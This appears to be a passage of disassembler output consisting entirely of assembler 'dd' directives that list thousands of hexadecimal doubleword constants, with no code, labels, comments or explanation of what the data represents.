		dd 0D9E5B38Dh, 997DDA1Eh, 4D278BB8h, 2598D889h,	0D2C27E4Bh
		dd 2DF42BF4h, 5890F04Bh, 2CE4B542h, 0F3E4BF04h,	21C21EA8h
		dd 18411255h, 988A6E11h, 5A5866E0h, 0B9E93700h,	7BF01AB8h
		dd 1D989DF5h, 0D525B501h, 6946D102h, 0C4090EDh,	9D954F5h
		dd 5B526842h, 795A1479h, 9D098263h, 2093429h, 5D986C46h
		dd 17D2034h, 9E5D5AB7h,	45EAD76h, 95F4FCDEh, 202834D3h
		dd 28E1FF2Eh, 807000DEh, 0F9347965h, 892D3C76h,	0A94B107Bh
		dd 31E30405h, 0B8BB85C6h, 427A1EDh, 0F409BB04h,	71017415h
		dd 0DF13472Fh, 6138FFD2h, 0BAE66B86h, 81CAB7F5h, 0AB477243h
		dd 0F9296021h, 133A2641h, 0C7F5B072h, 0C3B92C25h, 0C8BEE4C3h
		dd 8A0332ECh, 8554FF7h,	616FE082h, 0C86D01E4h, 0E70D60F4h
		dd 55A7600Eh, 0F358AFC9h, 0E1BD0469h, 7061092Ah, 9409A1D0h
		dd 9AB35CCEh, 90732DECh, 158FD72h, 0CF81E701h, 47AEE5D7h
		dd 1229E63Ah, 0B9E3DAB7h, 96F57669h, 2F329848h,	0A2DD10B1h
		dd 5550FB6Dh, 0A2606A90h, 0F0DF0401h, 901EB576h, 3150D93Bh
		dd 59822A41h, 0A0CDF56Ah, 6E7F85E1h, 268CAD8h, 6CE00966h
		dd 9AF7880Fh, 75B54CFh,	0F9FF0A99h, 12DC6754h, 0B3A205AEh
		dd 0D5BF0E3Dh, 712C6935h, 87FA6C2h, 7027217Dh, 37E917EFh
		dd 22117002h, 0C700E224h, 0D80CB209h, 14D13083h, 0C6DC147Bh
		dd 80FD9F4Ah, 31AAFF8Ah, 8CD2585h, 0F8E91774h, 0DBF80CBh
		dd 1AD3952Eh, 88181C79h, 8979F00Fh, 0AA5D809Eh,	12F7BF3Ch
		dd 0BA5E256Dh, 1723266Bh, 0C009C501h, 0FA2056AFh, 5BC0A9D9h
		dd 866E882Bh, 0FDB91400h, 92A510A3h, 164124DDh,	34CD2D55h
		dd 27AA16C0h, 79FD0BDFh, 338058DCh, 375490E7h, 93974048h
		dd 8E8E4EDh, 278AF839h,	9556502Bh, 93B357CCh, 70DF2658h
		dd 1D9424E2h, 71CEA83Bh, 5096800Dh, 0B8E439E5h,	19DF2F63h
		dd 0C981A079h, 7FB769EFh, 61DDB06Ah, 68569897h,	295C1860h
		dd 0C0701EA7h, 9F516197h, 0B758F5E4h, 68005B37h, 0B1C439DCh
		dd 5A6A6252h, 3A5EBC4Eh, 78FEDB49h, 0A827C7DBh,	0F8651042h
		dd 92D40FB6h, 0CF447AD6h, 5DAD1365h, 210E5F31h,	60BB041Fh
		dd 0A13C715h, 3601F0FAh, 2548ED0Dh, 5FE0FE28h, 0BFAF3A7Eh
		dd 0F916F94Bh, 4B450530h, 880D8EDh, 19B4888h, 0B169D12Eh
		dd 76613EDDh, 468FF1DCh, 194092Bh, 0BC1E1284h, 3209F594h
		dd 0CD1E5DD5h, 75612545h, 9438F7E2h, 0B5012FABh, 0E123EA0Dh
		dd 26023BA2h, 7CF62DABh, 69045192h, 3AAF5FFEh, 2014F214h
		dd 7A0DC539h, 808F9E3Eh, 56A54C3Ch, 287601A4h, 0B0E1A914h
		dd 25039056h, 22792185h, 1FBDBCC4h, 0B305CFECh,	0A63F3CCCh
		dd 0B17ED22Dh, 6EE63FFDh, 8F8299F0h, 0FCDD4F04h, 868C4410h
		dd 0E32B2C37h, 29490091h, 670B07A1h, 0FD0AFF75h, 0EA994D9Bh
		dd 1EBA532Dh, 97714156h, 2F5F5E19h, 0F8AA5B34h,	0ECB5163Fh
		dd 41ECF3B9h, 0CB2FA102h, 7861EE85h, 0F7285A6Ah, 59BF008Fh
		dd 966AD455h, 4EC6BF60h, 0BA5A5000h, 19262B15h,	0C6799D61h
		dd 0EFCE7C80h, 9EA88A4h, 9687C210h, 2B2083E1h, 18818F75h
		dd 0CB6B02FDh, 5C6A4B2Dh, 0D8301401h, 2F335D27h, 801925F0h
		dd 854F0360h, 0AC6185F4h, 0D7811CA0h, 0AF62D359h, 9A3AC129h
		dd 0F6C48B0Fh, 1F66CA7h, 0B8BD034Eh, 21959CD8h,	18ECF296h
		dd 0BD1D5A39h, 0AC7595D1h, 79E7004Eh, 33A31DC6h, 184B519Dh
		dd 103653C9h, 8E9167F3h, 4B8C2C8Ch, 0E62B6A9Dh,	0DFCDA2F4h
		dd 0E71D2B4Eh, 0E3016DABh, 1CB116AAh, 7894A72Bh, 3F1BD13h
		dd 236C6FAEh, 0B472001Ch, 0CB5FE38Bh, 0C15FBCF0h, 420C5ECh
		dd 4A35F895h, 0BC2CA924h, 5F078C16h, 9D2B39F4h,	26AC1834h
		dd 0FDF8B81h, 2BD9D131h, 0E65B2CE2h, 0B6FFE515h, 1FE02E3h
		dd 0FA1D2585h, 2538EF33h, 0AAC7AC5Eh, 8C94610Fh, 2ABEB5F3h
		dd 0F64EC5F7h, 0DE9AA0D6h, 9139FD0Fh, 455FC4Bh,	61CC9CD0h
		dd 0F9A793BCh, 12F66056h, 1C609Dh, 5922F936h, 8B285033h
		dd 0CD9FC0D8h, 3D38E1DEh
		dd 831BF821h, 4B6FC548h, 18A21512h, 26CDF997h, 1508BD56h
		dd 0EC5F1621h, 4B00AADFh, 689D9265h, 6CD290A1h,	8D29D9D0h
		dd 0BC1B5ADDh, 0DF6BB5BEh, 9D230B77h, 0C5DC1DE1h, 95922DC0h
		dd 26E8E5h, 4B330A4Fh, 3F5D7B88h, 88A4F39Dh, 893931B1h
		dd 551BCD95h, 81C8CEEDh, 7A79B3E0h, 0D170122h, 0D1BD31C4h
		dd 0BB382F12h, 0B65C8A5Fh, 3949B5EBh, 0B86D8851h, 0B8BDC627h
		dd 0A97B7401h, 0FD703FACh, 8486AA9Dh, 0E8530827h, 5E910B4h
		dd 0E6EF5F25h, 0EE601D64h, 602F0CFh, 6AEAFA58h,	8C405D2Bh
		dd 0E9800269h, 0D289970Ch, 0A2703F73h, 69E00A87h, 2DCD2CB2h
		dd 0E9B571D2h, 5E0AF800h, 8A0EBF6h, 0C20E19E1h,	41295776h
		dd 0AD8D0962h, 0D3816B80h, 7F99BECFh, 0B37BC19Ah, 4EDF5C82h
		dd 25F983E9h, 2D489595h, 60B97C60h, 21B1B529h, 3810D782h
		dd 73007E5Bh, 0B5D6F54h, 3A2AC925h, 6B1DC491h, 840440EAh
		dd 0B4B9CFFBh, 25D4306h, 9E5E6159h, 2D822038h, 0A75EF593h
		dd 0AABF02F4h, 0C1B3B206h, 11FAE375h, 28018FB8h, 7920BFF9h
		dd 0BD615A04h, 0DEBF0EB6h, 0A55D7D50h, 0DC887754h, 0FD8D0421h
		dd 5FF52205h, 0F54B856Fh, 290B3E94h, 0D714A185h, 90DDDEBAh
		dd 39D390F5h, 63012AEBh, 0D9E148C9h, 2A3AD515h,	972D81E0h
		dd 0D2095FBAh, 0BD338210h, 4A190922h, 0A46EE9D1h, 0F706EBFh
		dd 8A010259h, 3908947Bh, 9BDABD29h, 0B9B996B2h,	90E44C0Bh
		dd 8ABF8901h, 968B2F3Ah, 0C5E5719h, 51A03B61h, 90AD3AD1h
		dd 53DAE81Fh, 4E70BA39h, 100BDBE7h, 0E20C43E9h,	7441429Dh
		dd 0C900DEA8h, 0B1BA6016h, 9C5DF2D9h, 57744905h, 0D3C22482h
		dd 2AA180DDh, 227ED12h,	4972E558h, 145784A8h, 20B59591h
		dd 76FDCA00h, 94E7318h,	0A5B7E8E5h, 0EA00CD64h,	53B3847Ch
		dd 76B90Fh, 62CDC3FCh, 48BF2087h, 0E69D50E8h, 7E5BB5B9h
		dd 5AB8FA94h, 0CFEC0FBDh, 22AD771Ch, 3ADAD414h,	66D54B1Ch
		dd 5CB26DB7h, 5C646A77h, 802CB37h, 45E1D61h, 790857EAh
		dd 0BB82BE0Ch, 3277BD47h, 2429DAC0h, 6B25B9Fh, 9AC53ADBh
		dd 2A90B901h, 0C9B2F402h, 2C3758DCh, 125E3ED7h,	5BBB491Dh
		dd 0F816D973h, 7DC46437h, 0A289B022h, 1C600778h, 0BF70E63Bh
		dd 0AF8602D4h, 0FC71E468h, 0DEBDE05Ch, 7112C424h, 0B501E0B0h
		dd 0EC754EE2h, 60560341h, 275BD29h, 0D0B8F74Ah,	34F86189h
		dd 85952909h, 33EF7132h, 4D4AF112h, 0C901E9C5h,	4D3A1D1Fh
		dd 0D18FF07Ah, 9A941897h, 7C940091h, 0D96978Eh,	632CCB4Dh
		dd 7A14DAE9h, 6F95D7C5h, 1AE3F85h, 0CB805062h, 0CD162EA5h
		dd 92569B3h, 0E92DA151h, 48BEC0CAh, 0ADB1A134h,	181825C3h
		dd 6A4ED7A1h, 25CA281Ch, 0C17508E4h, 0A230E980h, 4CBA564Ah
		dd 2EE31930h, 0A21BBA62h, 7705695Fh, 66203847h,	6C256C9Ch
		dd 733813B3h, 0BC27FDFFh, 0BB1700A0h, 8B05C1CBh, 0F0BF5832h
		dd 52294B9Ch, 0C2089B3Dh, 7177204Fh, 0DB8180DEh, 5492ADCh
		dd 5BDE3A97h, 0CA22509Fh, 0E198FE73h, 662F8B2Dh, 11B68113h
		dd 0DAB9A751h, 2949116Ch, 5105BCBCh, 7DE8803Dh,	648A55D9h
		dd 45E81EBDh, 0A337FEFCh, 0C047ED7Bh, 0E2888CD8h, 2185091Fh
		dd 71EF73E5h, 9D031814h, 0D8BAE504h, 1540195Bh,	887BB5F5h
		dd 0EFF88545h, 0F0A8A64Bh, 4BB56F9Ch, 7BF7844Dh, 790704C2h
		dd 84BBC1A6h, 99D9AAD9h, 80273920h, 4B09E281h, 0FD62783Fh
		dd 0D380B130h, 0BDE6644Ah, 6D23D702h, 25170F98h, 905A446h
		dd 0FA0BD9B5h, 0C44EDBEAh, 19C1E52Bh, 0A33B0269h, 0D5398A0Ch
		dd 4E1E0562h, 217AA104h, 0F0ED55F6h, 29601764h,	0DB14960Dh
		dd 2593E1FFh, 1A9DC53Fh, 78DC55C4h, 2C8B25DCh, 0B509B4C5h
		dd 0F4AD7403h, 0F6207C5Eh, 0C067EF07h, 0DAA05A6Ah, 149786DEh
		dd 814744D9h, 172AC702h, 0DB60010Eh, 41D67006h,	82FB5909h
		dd 23DDD29h, 0FFA39282h, 5229278Dh, 99D70CF1h, 0BE150682h
		dd 0A67A3ACDh, 0EABF09CDh, 96A8719Ah, 616D0C53h, 3975F4Bh
		dd 1E50F99Eh, 67A8022Eh, 0DDC3E24Dh, 0B0BB93A5h, 906F4DB7h
		dd 0A8555A61h, 0DF81801Dh, 3D39371h, 1D776856h,	7F4A62A6h
		dd 1E8893C0h, 443DF5B9h, 8A0125B8h, 4C296AA0h, 812E51E0h
		dd 6A3401EFh, 5C1705C8h, 0E65A3D65h, 3015B24Eh,	8925490Fh
		dd 0B4D0D4B5h, 0B37EEE6Ch, 274FF900h, 207CA66Ah, 8F479A24h
		dd 40E19D0Bh, 0AA85E95Eh, 2DFDD9F8h, 3DC0F990h,	0CACDF925h
		dd 2E6FDDE1h, 86F39A40h, 810201DFh, 7BEF70CFh, 0E3332E43h
		dd 209A8E60h, 0E2801A2Dh, 0F57261C8h, 649FCD95h, 75BF6115h
		dd 1169F76Ah, 0DA921EADh, 0E72780D1h, 0C6EEEC8h, 0CCB5EC86h
		dd 7C1339DEh, 25EE7D51h, 7C8BBF8Dh, 30BFB900h, 5F298AE4h
		dd 91C13597h, 743C801Dh, 4AFC5B75h, 0B2C5EFF6h,	0CBD2604h
		dd 0BB044640h, 1A017420h, 0E6BF504Ch, 477EB018h, 5495312Eh
		dd 1C9CEE13h, 0A33B0ABBh, 25D014D6h, 8C68C268h,	0B3D47B12h
		dd 7C19B88h, 679E226Bh,	3A0CD0D8h, 0AB12E2E0h, 9BE08EF2h
		dd 4A881273h, 0B85FE94Ch, 1F33259Eh, 900E93C6h,	93D98A50h
		dd 36C928ACh, 60823E80h, 4A1274CBh, 0D0775B42h,	0C9BA8BD4h
		dd 6BE36A7Eh, 0F6DB6138h, 0CFE1E062h, 93670CDh,	6AA8FF98h
		dd 0C7300700h, 16971A50h, 60149538h, 7FE12D70h,	97F218B6h
		dd 28E59060h, 37FA7B9Dh, 0EB02B4E0h, 16A8FADBh,	0D887018Ch
		dd 59D0174h, 0BD13214h,	21B12DBh, 5C34C045h, 0D2955148h
		dd 0DA3D803Dh, 4D1D4049h, 9997409Dh, 219C9734h,	815D6060h
		dd 2F35A4EBh, 77EC5013h, 71A7BB12h, 14AC71B9h, 8986058Ch
		dd 0AE07B98Dh, 1A231E6Fh, 36C81F07h, 71C47951h,	0CC4A326Ch
		dd 0CB5A8032h, 3E7E49FDh, 7FA559A9h, 1DDF8A41h,	3FA8013Dh
		dd 0BC95F31Fh, 231768DDh, 0CA4A60B8h, 12685844h, 44E22779h
		dd 0A851A9D3h, 0BFB0058Fh, 810B3CD8h, 4E08ED18h, 28B65EA7h
		dd 3B4037A0h, 0EB394D10h, 0A058E709h, 0F8A5C71h, 80042A8Fh
		dd 61AE74E7h, 2EDAB793h, 0C8B337B8h, 7438F5B0h,	1E35414Eh
		dd 0AA6235FEh, 0A406BED4h, 27D712F5h, 6D5EADBDh, 54205089h
		dd 6CBFDC25h, 0B56484CBh, 2AF41D42h, 0CC01DA40h, 8541028Ah
		dd 1969097Ch, 0E5361075h, 0D6F60F55h, 4F42ACC6h, 7E555446h
		dd 0F55BC2E4h, 0F26A625Ch, 71AFCD09h, 0B79A739h, 6AF35412h
		dd 7E440B2Fh, 0E66A5B27h, 0F2D30067h, 34426D66h, 9F029A88h
		dd 0AF3DE51h, 1FB9D5FFh, 6F296525h, 9CB506B6h, 0A04885FFh
		dd 18A516DBh, 50D572AEh, 0A2CC0AFFh, 0C1F8CD27h, 88203801h
		dd 9290554h, 565B9BB7h,	0F2181759h, 122F403h, 0FC118D31h
		dd 25768AABh, 11FC65D9h, 0F9906245h, 0BB960027h, 0D128E955h
		dd 10E79F0Eh, 3E83A079h, 0B5804238h, 9C65F51Fh,	330ED67Dh
		dd 762DB160h, 965BDB05h, 66B81BB9h, 50856A56h, 0AB95BBB9h
		dd 0D0F673B0h, 1009A967h, 5459774Bh, 0B4E84065h, 0C3492629h
		dd 0D6A5DE27h, 0A14E25EAh, 54C34297h, 1423517Ch, 11D978C1h
		dd 3E8DE76Ah, 13F11023h, 92F220D7h, 9E17B5F6h, 0EFA15990h
		dd 7E402D2Ah, 85175DF6h, 0CC2D214Dh, 31BE9EF4h,	7D1BB3FBh
		dd 0DEAC25C1h, 0F50B0066h, 0E6605750h, 2F91B575h, 0FAB26B14h
		dd 0B60BF880h, 0F57EF955h, 0EE583528h, 0CD2CD1B6h, 65FB00DEh
		dd 0BD159502h, 0E712BECEh, 0A1BB8529h, 6D54AF32h, 8F34C2A2h
		dd 579CF2E0h, 6A7FD216h, 77156FEAh, 0F3649AA1h,	2DD0882h
		dd 54D0067Bh, 7A3725EAh
		dd 7EA3010Bh, 0BB5A60D9h, 790031ACh, 33C9DC18h,	25D5ED80h
		dd 0DB795061h, 706B1F07h, 0E7344F11h, 2C3C5CCh,	0FC431CA4h
		dd 0E36A199Eh, 0C3DA6F75h, 3A051988h, 23E9B589h, 0FEF8C326h
		dd 5DB65898h, 58951322h, 2EFB979h, 5BA0A118h, 0DA8BC85Fh
		dd 0B6614A5Fh, 301DB2A5h, 93253DA2h, 0A644770Eh, 81826049h
		dd 7958D09h, 1B0B0014h,	208144D3h, 561A92Fh, 8BAB03E6h
		dd 149A5AADh, 0A4DF280h, 0AD043F09h, 1E8B0FDAh,	612598E2h
		dd 3F0058C4h, 3DF16E33h, 0BD8FE0h, 8154FDB0h, 4E3C6DD0h
		dd 0BC30F805h, 96095912h, 40A25CD1h, 556453FAh,	154D5F0Bh
		dd 0F92F87E5h, 44AC5979h, 26BF4099h, 9755EC0Ch,	0ADE775Ch
		dd 31B73391h, 67091C98h, 52F9CB25h, 0BA95A0B0h,	1FB5924h
		dd 0F209D013h, 60317650h, 0B23A56A3h, 1A9EDF00h, 0AB8FBE26h
		dd 0CD7C0AA9h, 12916515h, 0C1590E5Eh, 0AB6D90A9h, 0B96052C0h
		dd 0AC6B07B0h, 0A1BF0F67h, 8BBAB761h, 941C99BCh, 0DFA18100h
		dd 1220CEBDh, 5EB2E92Dh, 256E711Fh, 8EC82EFAh, 656C0048h
		dd 0B3E298ADh, 26001E71h, 0A90CF97Ah, 2D0A315Fh, 51F82CE5h
		dd 0D3E2055Fh, 0DBA09616h, 58FD930Bh, 24880F17h, 78F6AECFh
		dd 9A7F101h, 2A185195h,	4B8AF2DCh, 22D0BCDEh, 0F6909512h
		dd 0C3002B57h, 2942A032h, 12DD6FD4h, 0BD27525Ch, 0D3811DC9h
		dd 9AB63252h, 0B5759F40h, 0B5EBEA71h, 2E77034Ch, 0A3DADD75h
		dd 53A5BF54h, 16CDA5A3h, 2CDADE40h, 66510CF7h, 0FF485FBBh
		dd 95835191h, 0F8030DC4h, 3B372D5Ch, 2B305812h,	89320996h
		dd 0E384DEB0h, 352707B0h, 0F453F602h, 0F13D8802h, 604198D2h
		dd 0B7A25816h, 12B4FDE3h, 33AE2A6h, 41BDD0C1h, 0B012BBBEh
		dd 0D22116D9h, 7A9CB56Ah, 51B7F8A4h, 0DEDCDBE5h, 0D26D4AF1h
		dd 0D82BDBE6h, 0BDF05AFAh, 0E9BD1231h, 9D6A3FE1h, 2BD8C99Fh
		dd 0DB80D104h, 5A7E0788h, 91CBD22h, 578BDABFh, 0C82B6868h
		dd 201A034Ch, 0C6D1FC12h, 5B9CE946h, 0C6C0F54Ah, 39494755h
		dd 2876E381h, 20B74189h, 0AD980C99h, 76469Dh, 9DE545EBh
		dd 0BEFFFED1h, 1188265Eh, 0C54206E4h, 385FA2D8h, 0BA602B94h
		dd 278F3B4h, 0B369BB2Dh, 0E2565F4Dh, 0B70C1A91h, 512608Eh
		dd 0A7E9168Bh, 61A70270h, 0B6463DE9h, 6EE33725h, 177920E4h
		dd 13ADA780h, 1EEAB195h, 0B24E50Dh, 4279AC4Ah, 12B54D8Bh
		dd 0EDB6847Bh, 5E831210h, 23956CD8h, 712C2DA1h,	990858D6h
		dd 3B48AC0h, 4B4A35BFh,	0DEEFCBD5h, 0E70280EEh,	1298BDh
		dd 0F93F4923h, 9CE2E6BBh, 21B9160Eh, 0DBBF1210h, 0EE4A80A7h
		dd 95F88B58h, 377FB889h, 426E0012h, 78817F7h, 0FFFCF82Ah
		dd 2BCA850Eh, 0DBD24BC0h, 0EBD87366h, 10909BB0h, 7E40AB9Fh
		dd 0FCF70483h, 0C49BAB61h, 72A8A35Dh, 58D95A00h, 0D648B57h
		dd 8E22B9A3h, 19E0FC95h, 6937DA6Bh, 5BD984C5h, 0C015DBBFh
		dd 6774E65Dh, 53892EDEh, 8231C4C2h, 5F041818h, 0B893F3ACh
		dd 89827A91h, 3BFB5D89h, 0AA8602BDh, 796C1E77h,	5E9889Eh
		dd 81A33C87h, 75AB4B74h, 0A821F9A2h, 0E8C798C9h, 57EA0979h
		dd 66A982ADh, 645A17D7h, 3BC96116h, 8D8482F2h, 0F4A15C2Dh
		dd 0F0BD4F09h, 0A1FD8284h, 71175C28h, 11AC1423h, 19F55389h
		dd 5FD5B776h, 117302Eh,	26B79DBDh, 2DAAE15Eh, 8B591EEDh
		dd 0D10439C2h, 2E32476h, 7BEED2EFh, 3E50ED56h, 1ACF9704h
		dd 0EE953540h, 655402B1h, 22E261C5h, 0D651E756h, 0B888B914h
		dd 1D607DE3h, 925E1CEFh, 6D21AE35h, 0FF2B2629h,	56F15330h
		dd 1F1C7A88h, 8EC3AEDCh, 5785FECDh, 6EAD804Ch, 5C955B0Ah
		dd 261988BFh, 8101F1CFh, 5FD171CBh, 0C76F1979h,	16D74961h
		dd 5ABF9380h, 9D08C87Dh, 4AC633CCh, 0B5850992h,	0A5DD612Ah
		dd 4206600Ch, 97FCBA54h, 25BD6CB0h, 2B431D51h, 822703B0h
		dd 40AC5955h, 5041E5BBh, 0C0EF5148h, 998D13E0h,	5B9B1810h
		dd 1B3AD8Bh, 0DE6294EDh, 0CCC997D1h, 348F37Bh, 0BFB5F1D6h
		dd 3C6001F7h, 0E8585BECh, 2807100Dh, 23E00B0h, 0A7E75C40h
		dd 91901BE3h, 2484C197h, 8D360205h, 0C5D5327Dh,	15B5ADD1h
		dd 0D0EAC800h, 0BDDECF1Ch, 0A56F8E2h, 74952962h, 10E7AC97h
		dd 0F7800102h, 5890F84h, 0E4BB4D81h, 2B55103Ch,	0BB05E534h
		dd 8AAB1CD5h, 0F1B508BFh, 0B5FD7205h, 1FCD0969h, 0FC8592F7h
		dd 515840EFh, 1E0B9FA1h, 500584h, 0E6214089h, 0D5999545h
		dd 0F46347E8h, 6B84EACAh, 33DEFB30h, 0B8A914DFh, 9D7CBEEAh
		dd 0F4C0D86Dh, 48802C6Eh, 965561DBh, 25207A7Bh,	1B760B6h
		dd 2B5D248Dh, 4B36AE80h, 7B89907Dh, 364424E2h, 712A1D3Ah
		dd 7A2434C4h, 0D8AA29C5h, 2D24BDDFh, 757A8A08h,	5627FE46h
		dd 298FDB5Fh, 32902587h, 7C011BFCh, 93C4B3C7h, 0BDD4EE27h
		dd 60D4014Ch, 614D732Dh, 30A37BDAh, 10A00D5Fh, 0AAB04450h
		dd 7C000784h, 0B375BCC9h, 4A0600F2h, 25ECD6ACh,	0D2004804h
		dd 0B2952189h, 0A66C2A0h, 6164F0BAh, 8D5842A1h,	0E1E2EFF5h
		dd 0D08EF0C7h, 8A26DE27h, 650871D8h, 0E3901720h, 25512D51h
		dd 87305060h, 803AACh, 3F7B72CFh, 0D53236AFh, 0DCDAAE00h
		dd 136B20F3h, 6DBB016Eh, 5F042223h, 0B8433990h,	11E802C4h
		dd 0ED2268C8h, 0EC09F2D6h, 951FD2FEh, 0F160C26Fh, 5AAD8529h
		dd 31108926h, 778F2AE0h, 81C9DB4Bh, 0F9FFEEBBh,	456F282Bh
		dd 0DB37D39Dh, 18076890h, 215A2A18h, 80248DBCh,	2BC433E9h
		dd 31F58E0Fh, 608E797Ch, 0FA64A201h, 0AD38885Eh, 0E35F120Bh
		dd 6A4FBA76h, 3EFB12A0h, 0B3324BB0h, 99FFDADFh,	31E0C917h
		dd 27C52D9Dh, 0AB7528CAh, 25395409h, 0FE119E65h, 0DF120F48h
		dd 0ED0B2CA3h, 0ECB9034Ah, 7B04C1E8h, 21B754A4h, 0E7EA87C4h
		dd 7558B1ADh, 23AE6B2Eh, 2380381Ch, 0FB039008h,	0B15A277Ch
		dd 275AC4B2h, 51C770C8h, 21001796h, 2882C85Bh, 0EC67AA5h
		dd 64746DD8h, 81EE5420h, 2E1231D7h, 62AB7324h, 0B15CF51Ch
		dd 38A8F869h, 0BE806050h, 48165778h, 0C64E8B61h, 1DFC45B8h
		dd 1C7C958Ch, 0FD89E5E2h, 81026EC4h, 3A4BDAF3h,	60C2B030h
		dd 3DBD2601h, 0BC57935Ah, 0E67180B4h, 0C26950h,	324E9626h
		dd 2A29D05Dh, 0FC16F7FAh, 21B96159h, 2DA9B582h,	37DD9514h
		dd 9E4B0576h, 138FACAEh, 2DAE192Dh, 0A9B72D44h,	4E5A14FCh
		dd 9129806Bh, 7BB50685h, 0DF893EB1h, 0F9D45548h, 5092FBE9h
		dd 6025ACDCh, 0D5D4C255h, 8A0138B7h, 40E0A835h,	0DBE8122Eh
		dd 0F2B0872Bh, 43B1F649h, 99803DD1h, 0DEFEB78Dh, 0B0850D01h
		dd 0A5CC6A15h, 5AD3B62Ah, 1CA890B9h, 4C004F9Bh,	6A149909h
		dd 4D9C1315h, 0A512F004h, 8A412641h, 886A61F1h,	880F4053h
		dd 0C0EAC156h, 95ED08F6h, 74DB00D6h, 0B6057ADAh, 8ED9DD9Fh
		dd 8A2B3948h, 0B9FD4B43h, 0AE033BC4h, 1A231D6Bh, 1618E300h
		dd 0B3F9EEAh, 819D2BA8h, 0DE512AD7h, 3C830F8Ah,	5DEB6B4Fh
		dd 75E3C5B8h, 0AF8C7D4Bh, 8DBD122Bh, 5438AB21h,	813DB76Eh
		dd 0CFC5419Eh, 8CBB3A76h, 99025BE9h, 968D9A66h,	0F202C250h
		dd 9552EE19h, 605A0E72h, 0DB2EA5A1h, 0ECF6C0D3h, 12011045h
		dd 0A60C9995h, 4C0579B9h, 0FEE8AB70h, 0B7099263h, 70AB16E4h
		dd 0A6EB818Fh, 174ACF72h, 0AAF0A8h, 0D83D59ABh,	3D6069AAh
		dd 5ECD8D31h, 5473612Dh, 3C181459h, 0B5336006h,	2BD1CF5h
		dd 71949EC6h, 35E6158h,	0E8151251h, 0BDD21213h,	0C63002F3h
		dd 0C1D9BF1Dh, 0F4EB5697h
		dd 8B8CA59Bh, 1219568Eh, 0AC82E987h, 7DB4A28h, 8BFB2981h
		dd 793A60C1h, 30BE244Ah, 0D047E131h, 0B4A93300h, 0A6017478h
		dd 2C090E19h, 5861B54Ch, 0D931E770h, 5BF928ADh,	9D2835BCh
		dd 0A608678Dh, 6782CB02h, 80B27C1h, 0A9278666h,	38A2D4F1h
		dd 0E17AF64Ah, 70BAADh,	6DB394C7h, 0C52A1B20h, 0DBF88782h
		dd 0FBE780C2h, 0A065C6DFh, 0C6177D35h, 6A4EE01Fh, 8B60A7B6h
		dd 3F4EBC0h, 0B4C47CD1h, 7ED0B273h, 0C81D7F02h,	46872A7Dh
		dd 6F90A312h, 34EBDE4h,	2EA25818h, 70EFA5CFh, 0B494F5FCh
		dd 0FBE4E502h, 87F61716h, 9D7068ABh, 17B80C1h, 0D251ECF7h
		dd 0D4AE352Dh, 560062A5h, 0BEE34C0Ch, 0CE869Dh,	322AA149h
		dd 0E224EA17h, 0F3336900h, 97B6DC18h, 562D1D0Bh, 0BE033C30h
		dd 0E79F524Dh, 0BA8047EBh, 8CC4FAEh, 6E2148h, 105D9F5Ah
		dd 0A04AA5BCh, 3745E100h, 4403CABAh, 0DC610634h, 300815ECh
		dd 362B2D00h, 3082877Dh, 8A31199Ah, 84100820h, 7D2E4921h
		dd 60E7D2C2h, 7AAA9B0h,	0A34CE08Bh, 0D617E03Bh,	6F6C51B9h
		dd 8C2FB030h, 0E59F5004h, 416257B6h, 9F587020h,	6FE40116h
		dd 0E6B279D8h, 21A8B0F6h, 0DEE9E22Dh, 0C8E70008h, 0CE5A0D5Bh
		dd 0FC3EDA3Ah, 30C3A00h, 0DBF3E4B1h, 1A26310Bh,	0CC8EB890h
		dd 0C7C2799h, 1CAA2B1Bh, 2CA02318h, 0E69F5301h,	44184FB6h
		dd 5B6D88h, 0D943CE9Fh,	2E29753h, 2EA4E852h, 0DD18E341h
		dd 9C8010h, 6F472155h, 0B6880EA4h, 0DF2DF901h, 6413E119h
		dd 396A1F0h, 0BE588B4Fh, 7CB8A747h, 0D30E81B2h,	60834256h
		dd 0C8297417h, 0C1C40050h, 367568F0h, 0FE0360F4h, 0E4971971h
		dd 0E8EABB02h, 25E185Dh, 0C0FFBEC6h, 0CE03F63h,	0CAF2016Bh
		dd 2B311200h, 0C23ABD76h, 36F0006Fh, 25E75A63h,	0AD007FF5h
		dd 0A25E8C0Eh, 12BFA04h, 8A77F9B8h, 0C46518E9h,	0EF0030BEh
		dd 5FE3D34h, 1F71D8BFh,	51946Dh, 91472442h, 0ED0120FAh
		dd 9B44D759h, 0D1E8B660h, 0BE9703A7h, 4C924A81h, 0CBFA1390h
		dd 0E102D801h, 6D651F51h, 0F2F032E0h, 8F7F90h, 85984C67h
		dd 80F56103h, 0DF70DE06h, 118644Bh, 246E5ED1h, 83C5EA76h
		dd 1C6BCC89h, 0F070004Ah, 0DC648805h, 0ECE52555h, 571DC5E2h
		dd 0C6405AFCh, 0DD9DE86Eh, 0E12800F1h, 8492062Ah, 0A1F87C02h
		dd 0E676DF0Ch, 104259B2h, 1B52A07Bh, 0E0B84458h, 3B5B0Eh
		dd 0D97DE19Fh, 0FD538537h, 3A631600h, 82E03D0Bh, 6CE900B7h
		dd 0A001D98Eh, 7375CE76h, 0A6B65C07h, 72A03F65h, 1FFCF8A8h
		dd 0C041BBFFh, 0C883E98h, 0F23E6894h, 0DA8700E7h, 631F8156h
		dd 0CCAC01B3h, 0C71721BAh, 0D21880E6h, 5C986826h, 60B21CBFh
		dd 0B11077C2h, 0ECEE2D24h, 94198C4Bh, 3308FB47h, 2C0021B8h
		dd 814C4E2Dh, 0B4E27E71h, 0E5DB58C4h, 0C529C60Ch, 0B0976B18h
		dd 204F6F78h, 0C90CE157h, 18B4AF8Ch, 75980EC6h,	38986D9Ah
		dd 8500ED88h, 22ECE726h, 0CCD4EFBEh, 0AD217508h, 6285C500h
		dd 146FF25Eh, 0F21074A9h, 9EDC0F5Ah, 0C44C79EDh, 0A806BD81h
		dd 0EA4B0769h, 77470278h, 0FDC5CF0Fh, 9B6CC901h, 0E58800C7h
		dd 0EECBDD58h, 3E00731Dh, 0E3A2DF37h, 0F190DCEh, 0A67289F7h
		dd 22AB1080h, 3900D367h, 82582998h, 3CB70DD4h, 72BC0Bh
		dd 444913B9h, 0EB286403h, 0B8AC0A38h, 0E53980F7h, 0E0C79678h
		dd 16930008h, 5F7BC3C5h, 0FD01B5D2h, 9D920175h,	0C1E51788h
		dd 735DE0h, 0A8FAA528h,	78411831h, 32FE2207h, 0E4C08A56h
		dd 5F919Bh, 0A0506370h,	0D1620D95h, 5B7C7B00h, 0A1D47A2h
		dd 4B5A00CEh, 5367E884h, 2501E2A3h, 0A08A944Eh,	80C14AD3h
